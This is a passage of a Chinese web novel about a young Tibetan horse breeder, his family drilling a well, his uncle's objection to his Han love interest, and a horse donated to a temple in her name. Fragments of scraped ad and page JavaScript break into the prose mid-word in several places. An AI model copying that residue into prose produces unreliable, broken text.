白玛这是直接跟脱缰的马对抗,而奔跑中的马蹄是最危险的,他的父亲就是被马蹄踏穿了胸腔,好在白玛的翻滚动作,让自己只是被马的后腿踢了一脚,而不是直接踩到身上。 苏曼的心“突突突”的跳个不停,她不敢想象若是白玛被马蹄踩到,会是怎样的后果。 她后知后觉的被吓哭了。 “哎哎哎!你怎么还哭了呢!”白玛一手捂着眼角,赶紧低头看着苏曼。 苏曼“啊啊啊”的哭了起来,看来是被吓的不轻,声音由小变大,索性直接蹲在了地上。 白玛也跟着蹲下,轻轻拍着苏曼的后背:“哎哟哎哟!不哭不哭。我这不是没事嘛!” 苏曼哭的更凶了:“太吓人了啊,呜呜呜......” 白玛抿着嘴笑了:“你这么怕我受伤啊?” “不是,你那个马太吓人了啊,呜呜呜......” 白玛看着苏曼这没出息的样子,大家都散开了,就她蹲在地上,边笑边哄着道:“姐姐,大家都在看着你呢,咱起来不?” 苏曼忽的一下被扯回了现实,顿时停了下来,赶紧抹了一把泪,站了起来,往后缩了缩。 “走走走,我们去边边上,这里人多。”白玛拉着苏曼的胳膊往一边走。 苏曼也觉得自己失态了,开始找补:“我从来没见过这么吓人的嘛。” “哎哟,姐姐,我们这边每天都有这种事情发生呢。我上次不还给你看过我头上的疤嘛,我腿上还有好几个呢!是没给你看过。” “那别人都不冲上去,你咋就冲上去了呢!”苏曼还是想给自己挽回点面子,把话题引到了白玛身上。 “那我要不上去,那小孩不就......哎呀!没事了,都过去了啊!不哭了啊。” 苏曼吸了吸鼻子,将纸巾捂在了脸上,又抬头看了一眼白玛的眼角,白玛一直用手捂着,另一只手还要哄拍着她。 “要不我们去医院包一下吧,别回头感染了。” 说着苏曼就把手伸进了白玛的裤兜里掏车钥匙:“我来开。” 白玛笑眯眯的站在那里不动,让苏曼从他裤子口袋里掏车钥匙,嘴里还嘻嘻的笑着:“哎呀,痒。” “痒你个头。走。” 白玛回头看了一眼,次仁老远已经抓回了那匹马,正在费力的往回牵。这个时候就不好再骑它了。 而曲珍,站在不远处,等着次仁。 人群又围了回来,赛马继续。次仁把马交回给那个大叔:“还要再训一训哦,多骑几次。” 大叔道:“你帮我骑嘛,我训的不好。” 次仁看见曲珍走了过来,“行,回头再说嘛。” “你没事吧?”曲珍问, “我能有什么事。” “白玛头都被踢伤了,他们两个去医院了。” 次仁这才看了一眼曲珍,今天的曲珍很漂亮,特意打扮了一番,耳朵上戴着两颗大大的珊瑚耳钉,粗粗的金项链塞在衣服里面,只露出了半截,头发自然向后挽起,露出了漂亮的额头。 “你咋没跟到去?” “我是来看你的嘛。”曲珍站在次仁的身边,也不惧怕其他姑娘们的眼光。 次仁没再说话,而是自己找了个地方坐了下来,继续看赛马。 曲珍不敢一起坐下,而是站在旁边。 过了一会儿,次仁才说道:“你还是坐下吧,你站着挡着我了。” 曲珍高兴的坐了下来,假装认真的看着赛马,时不时再偷偷的看看次仁。他的气质真好,是曲珍喜欢的样子。他和其他男孩就是不太一样。 高 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 原上的姑娘分为两种,有一种是死心塌地的喜欢本地男孩子的那种高原气质,还有一种是喜欢汉地男孩子的那种所谓的“洋气”,也想谈一个汉地的男孩子。可能也是希望能脱离高原的困苦,能嫁到汉地去生活。 但是次仁,正好介于两者之间。他既高原,又不高原。怪不得那么让人着迷。 - 苏曼带着白玛去县医院清了创,消了毒,伤口有些深,最后用四方纱布贴了起来,还盖住了一小块眼角。 “你这样回去,你妈妈不会担心吧?”苏曼问道, “不会,我阿妈不管这些的。” 白玛妈妈不是不担心,而是这种事情发生是必然,或者说是司空见惯,她是不会因为害怕儿子受伤而去阻止白玛骑马的,因为骑马是他们从小到大跟吃饭一样的存在。 最多,就是会叮嘱骑马的时候要小心,真是受伤回来了,也不会有责怪这么一说。 虽然,今天白玛不是因为骑马,而是因为救人。这就更不会说他了。 苏曼:“天,你们骑马真是好危险。”苏曼还在后怕,或者说是担心。 白玛:“你担心我啊?” 苏曼:“我是说骑马危险!是个很危险的运动。” 白玛:“当然啊。所以才说我们草原上的人勇敢嘛。都是从小就这么练出来的。” 苏曼:“你们就不怕吗?不怕死吗?” 白玛扶着方向盘,他又当起了苏曼的专职司机,回头看了一眼苏曼: “没怕过。死了就死了,这都是命。命要你死,你不骑马也会死。” 苏曼不认可这样的说法,他们不过是坚定的要继续骑马罢了。 “你可不许死,你上次说了,你家人还需要你呢。” “你呢?姐姐,你需要我吗?你也需要我吧?” 苏曼对白玛的依赖,白玛不是不知道。他知道,他已经成了她的保护神。 他保护着家人,也保护着苏曼。 苏曼不得不承认,她也需要白玛。好像白玛在,她就能更勇敢的面对困苦。以前的,已经过去了,未来的,她还希望他能在。 “反正我不希望你死。” 白玛轻轻扯了扯嘴角,姐姐还在嘴硬,或者说,姐姐还没想好。 “我不会死的。为了家人,为了你,我会一直好好活着。但是如果老天爷让我死,那我也没有办法咯!” “呸呸呸!你可不许乱说。” 白玛随意的一句宿命论,可又把苏曼给吓坏了。 “哎哟,这有什么的。生命无常嘛,我们这边经常死人的。好多年轻人,也是说死就死掉了。” “年轻人怎么会死掉呢?”苏曼不解, “骑摩托车啊!我们村子里骑摩托车死掉的都好几个呢,都是很年轻的。就村子去县上的有一段路,经常出事。” 这可又把苏曼吓坏了。 “那你以后少骑摩托车,还是尽量多开车吧,多不了多少油钱。上山的时候再骑摩托车,平时就别骑了。” “姐姐,你这又是担心我吗?” 白玛转头认真的看向苏曼,他又变回了一个男人的模样。 “担心。怎么不担心呢。我在巴龙还指望你照顾我呢。” 苏曼就这样一直嘴硬着。 51. 第51章 “阿妈,甲尕爸爸那个小黑死了你知道不?” 白玛正在家里张罗打井的事,他专门请了汉族的钻井师傅,正在院子里勘探选位置。村上好几户人家都自己打了井,这样就不用再跑到几百米外的公共水龙头那里拉水了。 “他不是卖了钱了吗?” 白玛妈妈觉得好在甲尕爸爸已经把马卖了钱了,这样就还算是得到了补偿。 “是,卖到撒尼乡了,然后听说那个马没得行,死掉了。” “哎哟,真是造孽哦。以后你们还是不要把外地马买过来,强迫它们在这边住,不就是害它们命嘛。” 白玛妈妈认为这是他们的私欲,他们的虚荣,所以才想要高大漂亮的外地马,强行让它们生活在不适应的高原,然后马儿就会得高反,然后就会死去。 “有的也是行的嘛。” “那也不是全部嘛,死了的那些你们怎么算嘛。” 白玛不再出声了,阿妈说的是对的,他们就是想要漂亮的外地马。其实论耐力和生命力,那还是高原的本地马更厉害。只是长的丑而已。 外面钻井的汉族大叔给村子里好几户人家都打了井,按深度收费,一米两百五十元,大概要打二十米左右,整体下来差不多五千元。 听汉族大叔说,偶尔会出现泉眼,这个泉眼一钻开的时候,水会一飞冲天的冲上去,冲出洞口老高,而不是像其他家那样普通的渗上来,并且往后也不用借助电力抽水。 据说谁家钻到这种井,就是吉祥的兆头。 今天下午白玛家就要开始下钻了,白玛妈妈和白玛都在家里候着,村子里的流浪大黄猫悠闲的蜷在厅里的长凳上晒着太阳睡觉。 白玛妈妈说这只流浪猫最近在外面野,可能是怀孕了,肚子也大了不少,可能到了秋天就要生了。 白玛走进屋里,抱起黄猫,左右检查了下它的肚子,又给它弄了一碗剩饭,黄猫和其他小孩子一样,也特别喜欢呆在白玛家。 虽然它是村子里的无主流浪猫,但它却常驻白玛家的杂物房,里面的草料堆,已经被它睡成了一个深窝了。 白玛眼角的纱布已经干了,死死的粘着,胶布两边翘了起来,白玛想着今天去找苏曼,让她帮他换个药。 去医院也不是不行的,但是这种小事,他就是想让苏曼帮他换。 “阿妈,我一会儿出去一趟,下午肯定赶回来。” “去吧,早点回来,有什么事钻井师傅还要你去说呢,我也不懂说汉话。” “放心吧,我去换个药就回来。” 白玛跨上小包,包里有昨天从药店买回来的消毒药水,还有一些棉球和纱块。 白玛刚想骑上摩托车,又返回屋里换了汽车钥匙,不然姐姐一会儿又要说他了,叫他少骑摩托车,她担心他呢。 刚坐进车里,苏曼的电话就打过来了。 “白玛,你今天要记得换药哦。” “啊,姐姐,我现在过来,你帮我换嘛。” “那你来嘛。” 白玛到的时候,苏曼正侯在店里,柜台上还摆着一堆锅碗瓢盆和一个小小的电磁炉灶。 “姐姐,你这是做什么?要自己做饭了啊?” “啊,对啊,天天在外面吃,吃腻了,偶尔可以自己做点,打个火锅嘛。” 白玛赶紧帮着把这一堆东西提了上楼。楼上有个小厨房,但是里面特别脏,厚厚的油烟呼的到处都是,前面那个女老板看样子是不做饭的。 苏曼花了一上午的时间打扫,终于把厨房收拾了出来。 “哇塞!真干净。” 白玛把电磁炉摆好,又把买回来的菜和锅碗瓢盆都摆在旁边的桌子上。在高原这寒冷的天气,基本是用不上冰箱的。 苏曼趴在露台的桌子上,她翻开白玛的包包,拿出里面的消毒药水和棉球纱布。 “弄完了洗个手再过来啊!” “哎!” 白玛甩着手上的水走了过来。 “你坐好,我看看。” 苏曼开始帮他拆纱布,白玛用眼一直瞟着她。他们离的很近,但他的心稳了很多。 “姐姐,我家今天打井呢。” “哎呀,那好啊。以后不用自己拉水了。是请人来打还是自己打啊?” 白玛听完笑了:“当然是请人来打啊!我们哪会打。” “我以为你们什么都是自己做呢。” “不是的,这个是找的汉族的师傅,他们有打井的那个机器,我们没有的。” “噢。那挺好。” 聪明的汉族人会上高原上去做高原人的生意,餐馆、酒店,澡堂子、台球厅、还有给小伙子们烫头的美发店,甚至这些与现代化相通的设备设施,都是他们带来的。 “嗯,一会儿我还要回去。”白玛又瞟了一眼苏曼。 苏曼没说什么,认真的给他换纱布。 白玛又往前凑了凑:“姐姐,你昨天哭的好大声啊,你自己没觉得吧?” 苏曼抿着嘴,瞪了他一眼:“能不提了吗?” “嘿嘿。要不是人多,我就抱着你了。” “你可别瞎抱。” “是嘛。没人我才抱嘛。” ...... 白玛抱过苏曼,也是唯一一个抱过她的人。她其实很喜欢他的怀抱,很温暖,很有安全感。白玛个子很高,虽然总是把她拎来拎去的“保护”着,但是她还是挺乐意的。 不过,既然她不能接受做他的女朋友,就不好再跟他搂搂抱抱了。 之前,都是“特殊情况”。 “好了,换好了。”苏曼开始收拾桌面上的东西。 “姐姐,这些就放在你这吧,我不带回去了。以后我每天过来换嘛。” “也行。留下吃火锅不?我还买了一堆菜。” “不行的,我要赶回去看着大叔钻井。要不你去我家吧,顺便一起看看钻井呗,很有意思的呢。” 白玛答应了阿妈,要早点回去,家里没个会说汉话的,会耽误事。降措虽然会说汉话,但是叫一个小孩子去沟通,总是不像样的。 梅朵也放暑假回来了,但是她极其害羞,平时在家里都不怎么说话,还不如降措呢。 “行,那去你家看钻井。要不把这些菜都带过去吧。我们中午吃火锅。” 苏曼知道他们经常会在炉子上做一锅炖,其实就是高原式的火锅。把调料带上,就正好。 “好嘞!” 白玛又冲进厨房,那把几袋子菜带上了。 “姐姐,开你车还是开我车?” “各开各的吧,我还回来呢。” “好。” -'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 两个人一起回了家,苏曼黑色的车停在了白玛家的门口,白玛妈妈一看,就知道白玛是去找苏曼了,虽然这是她第一次见到苏曼的车。 她赶紧接过白玛手上的菜。 “阿妈,今天吃火锅。” 白玛妈妈赶紧去准备炉子,又吩咐梅朵去外面水龙头那里把菜洗了,降措进屋里搬了把小椅子,放在门口,叫苏曼坐在那里看钻井。 不一会儿白玛妈妈就烧好了甜奶茶,给苏曼端了过来,苏曼很不好意思,看着一旁傻笑的白玛。 “你喝嘛!阿妈专门给你煮的。” “谢谢阿姨。” 白玛妈妈也笑笑的回应她。儿子喜欢的女孩,她自然也是喜欢的。何况,她已经来了高原,或许就是为了她儿子。 这样好的女孩子,是她家白玛的福气。 虽然,白玛什么也没说,但是白玛说要去永京的那次,作为他的阿妈,她就已经全部都知道了。 她可能比她儿子自己还要早知道。 她看着白玛对着苏曼傻呵呵的样子,心里也很欣慰。儿子终于长大了。 梅朵还有个两三年就可以娶老公了,到时候白玛妈妈就会放白玛走,让他去过自己的幸福日子。 而在县上生活的苏曼,她觉得很好。 五个人一起吃了顿温馨的火锅,然后就等着一起看汉族大叔钻井。 白玛把长长的插线板从屋里拉了出来,这是他们院子里洗衣机常用的那个。钻头一点一点往下钻,声音巨大,偶有路过的人看两眼,问一句:“你家打井啊?” 白玛妈妈都是乐呵的回答:“是啊。” 她为儿子感到骄傲,如今白玛是家里赚钱的主力,他努力的养马、卖马,在村子里也已经样样不落后于别人了。 别人家打井,白玛就也说要打一口。 他给阿妈买的那辆电动车,算来算去,还是村里的第五辆呢。甚至连洛绒表嫂都没有自己的电动车。她虽然会骑,那是因为她会骑摩托车,白玛妈妈什么车都不会骑。 有时候洛绒表嫂会跟梅朵借车钥匙,去村子里的小卖部买东西,或者载着白玛妈妈去看跳舞,又或者去看村子里的赛马。 草原辽阔,这辆电动车就是他们在村子里活动的交通工具。 洛绒表嫂老远就看到了停在他们家门口的黑色SUV,她磕着瓜子就过来了。 “门口的车是你家的索?”她明知故问,又或许是有什么隐喻。 白玛妈妈忙答:“不是不是,我们家哪有这么好的车。” 白玛看了一眼,赶紧站到了苏曼的身边,他不想参与女人们之间的对话,他也不想听。 “今天打井好哦,今天日子好。” 洛绒表嫂看似是来看打井的,其实是来打探军情的。村子里都在说苏曼是白玛的女朋友,白玛自己没有发过话。 但是,她觉得应该是有希望的。 因为白玛妈妈,是最疼爱儿子的妈妈。只要白玛妈妈不反对,那就有戏。 洛绒表嫂看着苏曼在他们家自在的样子,那白玛妈妈肯定就是不反对了。 “白玛,以后要让苏曼多来玩哦,我们村子里好玩的呢。” 白玛脸刷的红了,不敢接话。 白玛妈妈赶紧给洛绒表嫂扔过去一个眼神:说这些,你羞不羞! 52. 第52章 院子里“突突突”的钻井声持续了好久,白玛时不时的走过去看看问问。 “要钻好深才有水哦?” 汉族大叔也用着高原普回答道:“那不一定的,每个人家里都不一样哦,反正就是钻出水来为止嘛!按米收费嘛。” 每深一米就加二百五十元,具体钻到多深,每家都是不一样的,有的钻很深都不出水,或者出了水,过段时间又不出了,这都是有可能的。 “姐姐,每一米都是钱呐!” 白玛笑嘻嘻的跟坐在门口的苏曼开着玩笑,打井是个全家都开心的事。 降措也搬了个小凳子和苏曼坐在一起,他现在特别喜欢粘着她。从一开始的害羞,到现在不再害羞了。 降措是一个极其聪明的孩子,他本能的向往新鲜事物,在他眼里,苏曼就是新鲜事物。 白玛妈妈没有守着,有白玛在,她就不管这些了,只要能钻出水来,一切弄妥了,最后告诉她怎么用就好了。 她里里外外的忙碌着,一会儿又给苏曼和降措端来一盘瓜子,叫他们磕着。还把奶茶暖壶也拎了出来,放在了苏曼的脚边。 “姐姐,阿妈说这里面是奶茶。”降措给苏曼做着翻译员。 “好哦!谢谢你阿妈。” 苏曼摸着降措的脑袋,时不时也搂一搂他,他会笑着露出小小尖尖的牙齿。 白玛走进屋内,路过门口,也顺手摸了一把降措的脑袋,降措又笑嘻嘻的往苏曼身上躲靠。屋里白玛妈妈正在收拾长凳和桌子,一会儿汉族大叔累了,可以进屋歇会儿。 “白玛,你去永京是不是见过她爸爸妈妈咯?” 白玛妈妈小声的问着白玛,现在她想多知道一些关于苏曼的事情,苏曼来到高原生活,是不是家里也同意的。 白玛楞了一下,不知道要不要跟阿妈讲。 “嗯......见了。” “好不好嘛?” 白玛妈妈想知道,苏曼父母人好不好,苏曼父母对白玛好不好。 白玛支支吾吾的,最后还是说了:“不好呢......对她不好。所以我们才回来了嘛。” 白玛没有说的太明,他也不想再提那些伤心的事,本能的想避开。他也没有说是苏曼“逃”到巴龙,而是说“我们”一起回来了。 但是既然说“对她不好”,那白玛妈妈也大概就明白了,汉地总有些对孩子不好的父母,她也从洛绒表嫂那里有听说过一些的。 她只是没想到,看着这么精神的苏曼,竟然父母会对她不好。 “那你要对她好点哦。”白玛妈妈轻声的说, “嗯。” 白玛脸红了起来,他很少主动跟阿妈说这些,上一次还是要去永京那次。 “哎哟哎哟!” 外面的汉族大叔大声叫了起来,白玛和白玛妈妈赶忙冲了出去,只见一股清泉向上喷射了出来,源源不断的喷射,院子里瞬间就积了一大摊水。 “哎呀!你家有个泉眼啊!”汉族大叔高兴的赞叹道。 苏曼也站了起来,惊着眼一脸茫然:“啊?这是好事吗?” “是好事!好事!你们村里你们是第一个呢!” 井水不停的往上喷射,白玛妈妈是听了又高兴又不知道如何是好,眼看着水顺着草地一路淌到了墙边。 白玛走了过去问道:“打了多少米了?” 汉族大叔回答道:“十九米多,不到二十米。你们这个好哦,省钱了哦,都不用电机抽水了。” 别人家的井,都需要再外接一个电机,需要用水的时候,就把抽水机打开,再把水抽进屋内的储水桶里。 而这种喷射式的井,就不需要再抽了,只需要把井封好,再安个特别大的圆盘开关就好了。需要用的时候,再把开关打开。 而且,这是吉祥的象征啊! 白玛高兴极了,虽然现在水喷射出来,弄的满院子都是,但是吉祥的事情,谁会不喜欢呢。 白玛妈妈也转而高兴了起来,她第一时间把这种喜事告诉了大舅舅。 不一会儿大舅舅也过来了,他穿着一双被摧残的不像样子的军靴,踏着院子里的水就走了进来。 “哇塞!厉害哦。” 紧接着他发现了苏曼,刚才他还在纳闷,门口怎么停了一辆他没见过的车,他还以为是钻井大叔的车呢。 这些做生意的汉族老板,开上三叉SUV也是很正常的事,他也经常羡慕那些会做生意的老板,赚钱比他们放牧要轻松多了。 他的脸色瞬间暗了下来。 他站在院子里假装在看那口井,然后又给汉族大叔递了根烟,就好像没有看见苏曼一样。苏曼也是第一次见白玛的大舅舅,开始有些不自然。 她好像不该属于这里一样。 “这个井好多钱嘛?”大舅舅开始跟汉族大叔聊了起来, “我刚才算了一下,四千八。明天我帮你们把井口沏起来,再安个开关就行了。” “蛮好蛮好。” 大舅舅家也还没有打井,在许多方面,他不缺钱,他只是喜欢跟在白玛的后面,白玛做了一些“先进”的事情,他觉得好,就会跟着一起做。 “回头去我家也打一个嘛!我家也要打井的。” “要得嘛!”汉族大叔点起烟,笑的开心,今天又接了一个新生意。 “这个井好哦!自己会喷水,都不用打电了哦!” 汉族大叔开始夸起了白玛家的这口井。 “是嘛!是嘛!” 大舅舅跟汉族大叔扫了个微信互加好友,然后回头看向白玛妈妈,朝屋里这边走来,路过苏曼,他还是没有说话。 “有水了以后就方便了哈!” “是撒。以后洗衣服也方便了。” 白玛妈妈想起以后不用再去几百米外的公用水龙头那里取水,然后倒进洗衣机,她就觉得轻松多了。 特别是冬天的时候又很冷,推着小车去取水,重重的两个大水桶,去的时候还好,回来的时候,水桶装满水,在草地上推起来,别说几百米,就是一百米她都觉得很费劲。 白玛也跟着大舅舅走了进来,他满心欢喜,并没有发觉大舅舅的异样。 “白玛,那是那个汉族的索?”大舅舅也小声的说, “啊。”白玛看了阿妈一眼。 “普通朋友撒?”大舅舅继续问, 白玛又看了一眼阿妈,阿妈也在看他。 这次白玛没有回答。 白玛妈妈道:“娃的事你莫管了,他反正要嫁出去的。” “那也看嫁哪里嘛!嫁到汉地去肯定是不得行。” 白玛转头走了出去,把降措搂了过来,脸色沉闷的坐在了苏曼的身边。 “怎么了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?” 苏曼小声问他,她感觉自从大舅舅进来,好像气氛就不太对,不知道是不是因为自己。 “没什么。”白玛一边摸着降措的头,一边闷闷不乐。 “该不是因为我吧?” 敏感的苏曼,还是那个从小就敏感的苏曼,她觉得一定是和自己有关。 她不了解高原,也了解一些。总之,汉地姑娘,在这里依然是一个“异类”,虽然如今已经开放了很多,两地结合的也很多,甚至就白玛村子上都有嫁过来的汉地女婿。 但是,每个家庭都不同,白玛妈妈是白玛妈妈,白玛舅舅是白玛舅舅,他们两个人就有很大的不同。 “跟你有啥关系,我喜欢就行了。” 白玛拿起放在地上的苏曼的奶茶杯,又往里加了些热奶茶。 “阿妈也喜欢你。” 白玛轻轻的说道,他想让苏曼知道,全家人都很喜欢她,大舅舅管不了他,阿妈也会支持他。 苏曼鼻子一酸,一股委屈涌了上来,她还是那么敏感,还是那么脆弱,还是那么容易委屈。她最怕别人对她好,最怕别人懂她。 越是这样,她越会感到委屈。就好像自己的盔甲,被他们柔化了。 白玛看着苏曼,鼻子红红的,又闷在了那里。 “姐姐,你相信我的吧?” 苏曼没有出声,但是白玛就当她是默认了。他心里甚至喜悦了起来,至少姐姐没有拒绝他。 他又站了起来,回到屋内。 “阿妈,晚上我跟苏曼去县上吃饭,不回来吃了哈。” 他当着大舅舅的面,表明了态度,并且第一次,喊了姐姐的大名,没有叫“姐姐”。 白玛妈妈看着大舅舅,回道:“去吧。” 白玛出了屋子,又坐回了苏曼的身边。他觉得两个人坐在一起晒太阳真好。 汉族大叔已经把院子里的钻井机器都收了起来,泉水就在一边自顾自的喷着。 “明天我再过来给你沏井哈,今天没想到你家打出来是这样的,没带东西过来嘛。” “好的,那这个水这么一直冒着没事吧?”白玛有些担心那水会把他们家的墙冒塌了。 “没的事,都是这样的。你一直冒也没事。但是还是沏起来比较好嘛。” “是是是。肯定是要沏起来的。”白玛又上前给汉族大叔递了根烟:“好多钱嘛?四千八哈?” “对的嘛!十九米二嘛!沏井的水泥那些就不收你钱了,送你了,就当是我们也沾沾喜气嘛。” “好的嘛。”说着白玛就又回到屋里去取准备好的现金,一张一张点给了汉族大叔。 白玛家的现金都是存在阿妈那里,而阿妈也会将大头存放在大舅舅家,大舅舅家有一个保险柜,专门用来存放现金和一些珍贵的金饰。 汉族大叔点完钱,跟屋里的大舅舅也打了声招呼,就开着他的小货车拉着他的钻井机器走了。 白玛和苏曼带着降措一起凑过去看那口井,水哗哗的往外流着,好像他们家的生活又要过的更好一些了。 一点一滴的,努力的过的更好。从打一口井开始,从不用再用推车拉水开始。 “我跟阿妈说了,晚上我们去县上吃。” 白玛温柔的看着苏曼,希望他的温柔,能化解苏曼心底的怯懦。 对于追求幸福的怯懦。 53. 第53章 白玛家里有井了,往后洗衣服、做饭、给马喂水,所有一切用水的地方,都方便了。 水真是人们离不开的好东西。 大舅舅被白玛驳了回去,心里十分的不高兴,从小到大白玛都是很怕他的,他就是他们家的大家长,白玛妈妈有什么事也都是来问他。 当然,他们家有困难,也都是大舅舅挺身而出。 而今,白玛长大成人了,翅膀硬了,竟然第一次不听他的话。他回去闷着抽了很久的烟,大舅母也不敢问他。 大舅舅一家人盘坐在木地板上吃着晚饭,饭菜也都是放在地板上,家里人多,就这样围着饭菜在地上七七八八的坐着。 “呷波,你总跟你白玛阿布在一起,那个汉族姐姐怎么样嘛?” 奶奶和大舅妈都转过头来,认真的听着。 “很好啊。她很漂亮啊。” 呷波看不出其他,只知道苏曼是个漂亮姐姐。 奶奶笑了笑,只有大舅舅很郁闷,他可是答应了德西爸爸的。这家中现在他是做不了主了。 主要还是白玛妈妈坏了规矩,她太惯着白玛了,她怎么能不讲这边的规矩呢,她怎么能同意白玛嫁给一个汉族女孩呢。 年龄,他们到是从来没有考虑过年龄,最主要的,还是“汉族”这个问题。 可是话又说回来了,大舅舅的弟弟,那个白玛的四舅舅,最小的舅舅,去外边读了几年大学,他也是照样谈了汉族女朋友的。 那时候大舅舅也一样没办法。虽然,最后他们还是因为现实原因分手了,但是那是因为姑娘不愿意来高原生活。 但是苏曼,已经在县上了。 大舅舅隐隐觉得,他可能要在德西爸爸那里失面子了。 这个白玛,从小就是个主意大的! - 自从大舅舅那件事以后,白玛就觉得他更应该明确表态了,不能再让苏曼受委屈。 她真的是太脆弱敏感了,她总是害怕别人对她的情感,无论是质疑的情感,还是支持的情感。 他要让她习惯他的支持。他要帮她抵挡一切质疑。 他要站出来,做一件让所有人都明了的事情。 “阿妈,我们家打出好井了,我想捐一匹马。” “以奶奶的名义哦?”白玛妈妈问道, 捐马,是把马捐到寺庙,以某个人的名义,然后为其祈福或者一些祛病消灾的作用。 寺庙最后会把这匹马进行拍卖,就是把马变成钱,钱最后还是归为寺庙。 这样转来,就相当于是捐了钱了。 但是参加拍卖的人要承诺:养这匹马到老,不可以再转卖。 只可以放生:也就是要留住它的生命到老,不可以杀掉的意思——当然,高原上是没有人杀马的。 “不是......” 白玛支支吾吾的,他是想为苏曼捐一匹马,为苏曼祈福,希望她往后余生,都能摆脱不幸的残留,祛除心中的胆怯。 他希望她能勇敢大胆的面对所有好的、与不好的情感。 “哦......你自己决定嘛。” 白玛妈妈很快就领悟了白玛的意思,她没有再多说,白玛这么做,就是在向所有人表态了。 他很勇敢,白玛妈妈没有理由阻止他。他总有他自己的道理和原因,只要不是害人的,她都会同意。 “嗯。” 白玛准备挑一匹他最喜欢的马,也是很多人都想从他这里买走的马。许多人价格谈了好几轮,他都没舍得卖,但是捐马,他却可以毫不犹豫。 当他把这个消息告诉苏曼的时候,苏曼更是不可思议。 “你们还有这种?” “对啊。” 白玛悠哉的喝着茶,他现在对苏曼的各种惊奇,已经习惯了,她往后会知道的越来越多,关于高原上的事情。 “那这个马,相当于好几万块钱,就这么捐给寺庙了,是吗?” “对的,就是这个意思。” “哇!原来还能这样。” 在汉地都是捐钱,到也有捐物的,但是高原上是捐马捐牛,这也太神奇了。 其实也没有那么神奇,都是“财产”,只不过他们的“财产”是牛马而已。 “那你为什么要捐啊?”苏曼继续好奇的问道, “嗯......我以你的名义捐的。给你捐的。”白玛盯着苏曼的眼睛。 “什么?” 苏曼的眼睛瞪的又大又圆。 白玛笑了起来,“希望姐姐你以后能越来越幸福。” “别别别,那可是几万块钱呐!你阿妈同意吗?” “同意啊!我阿妈有什么不同意的。” 这更让苏曼惶恐了,他们怎么几万块钱说捐就捐了,而且,还是为了她这个外人! “不行不行,这我可承受不起。” 白玛知道她的意思,她就是把钱看成了钱。 “姐姐,这不是钱的事,这是心的事。我为你捐马,是我的心。你怎么看到的是钱呢,这样不对的。” 啊,苏曼恍惚记起,白玛好像曾经说过这个道理,但是她还是没太悟透。 她还是不太懂。 苏曼泄下气来,她一定说不服白玛,白玛总是对的。当她开始接受的时候,她又从惊讶转为了感动。 “白玛,你干嘛要对我这么好。” 苏曼咬着下唇,心情复杂,她不知道该如何面对这种情感。 “可能是因为缘分吧。缘分让我想对你好。我就是想保护你呢。我想做你的保护神,你知道吗?就是天生的保护你的那种。” 白玛睁着他的豆豆眼,认真的看着苏曼,认真的给她解释,什么是保护神,什么是缘分。他希望苏曼能懂,他守着她,是一种宿命的使命。 这太宏大了。苏曼根本理解不了。喜欢就是喜欢,爱就是爱,怎么还上升到宿命了呢。 但是她不会觉得白玛是在忽悠她,要是在汉地,她早就认为这个人是个感情骗子了。 她觉得,白玛说的一定有道理,只是她还不能理解。 “我我我.....不太懂,但是,那个......还是谢谢你。这个钱......就这么没啦?” 苏曼还在心疼那匹马的几万块钱。 白玛可被她逗笑了,他义正言辞的说道: “姐姐!我不是跟你说过了嘛!捐钱不在多少,在心,还有,不要心疼!不要后悔!不然没有用的!” “哦哦哦,对对对。” 苏曼吓的一身冷汗,好像会因为自己的狭隘与吝啬,要把这功德打了水漂一样。 你看,白玛和白玛妈妈,就从来没有在乎过钱。 哎呀,她真是感到惭愧。 苏曼缩回了椅子,认真的想着白玛做的这件事,为她做的,她好像有许多感动,又有许多负担。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>她能为白玛做些什么呢。一直都是白玛在为她付出。 “白玛,你真好。你阿妈也好。” 苏曼窝着脑袋,看着眼前的白玛,他那么实在,那么真实,是一个有血有肉的男子汉。 “那你把我娶了吧。” 白玛迎着她的眼睛,满情蜜意的望着她。 苏曼慎了他一眼,嘴巴嘟了起来:“一匹马就想让我娶你。” 刚说完,苏曼又觉得自己说错了,她又拐到了“钱”上去了。 好在陷在深情里的白玛没有在意,而是说: “你想要多少匹?你们汉地的嫁妆是多少嘛?五十万够不够?” 白玛认真的开始算起了自己的“财产”。也就是他那三十多匹马能值多少。 要给家里妹妹留一半坐家,另一半才是他能带走做嫁妆的。 他怎么这么实诚?他怎么这么认真啊? 苏曼招架不住,不敢再继续往下回答了。 “哎哟,你的财产还不少呢。你可真厉害。”苏曼开始夸夸白玛。 白玛抿着嘴笑,他也觉得自己很厉害,这些马,可都是他一匹一匹置换回来的,有母马生的,也有一匹换两匹换的。 总之就是他这么些年,马生马,马换马,卖马买马,一点一点各种路子滚起来的。 “所以,我嫁给你没问题吧。” 白玛又把话题拐了回来。 “哎呀,不是钱的事......”苏曼不知道该怎么回答他了。 她不缺钱,虽然她总想着“钱”。白玛也不缺嫁妆,他也不在乎钱。 “那是什么。” “你还小。” 白玛腾的站了起来,高大的身子伏在桌子上:“你觉得我小?” “嗯。” “我们这十九岁都可以生两个娃娃了。” 白玛站在露台边上,看着远处的矮山,还有318街道上热闹的人群。他知道这是他的故乡,而在他的故乡里,种进了一棵小树,他要护着这棵小树,在这里生活长大。 “没事的,姐姐,我可以等你。等你觉得我不小了的时候,我们就在一起,好不好?” 白玛回过头来看着苏曼,晚霞映在她的脸上,还有她落寞的眼睛。 姐姐还需要时间。 苏曼愣着神,坐在那里,她没有回答,她好像把自己放空了。 “姐姐,你过来看,这里风景好美。” 苏曼被白玛唤起,站了起来,走到了白玛的身边。 白玛一个揽手,将苏曼的肩揽了过来,将她定在了自己的身旁。 苏曼扁着嘴,皱着眉头,假装生气的看着白玛。她上当了,她被白玛骗了过来。 白玛紧紧搂着她的肩,一直望着远方。他舔了舔唇,好似得逞。 “你跟我说说哪里美?这个地方我天天看。” “晚霞啊,你不是最喜欢晚霞嘛。” “我坐那也能看......” 白玛又紧了紧揽着的手:“姐姐,正月初一我带你去看拍卖,拍卖你的马。” “为什么是正月初一啊?” 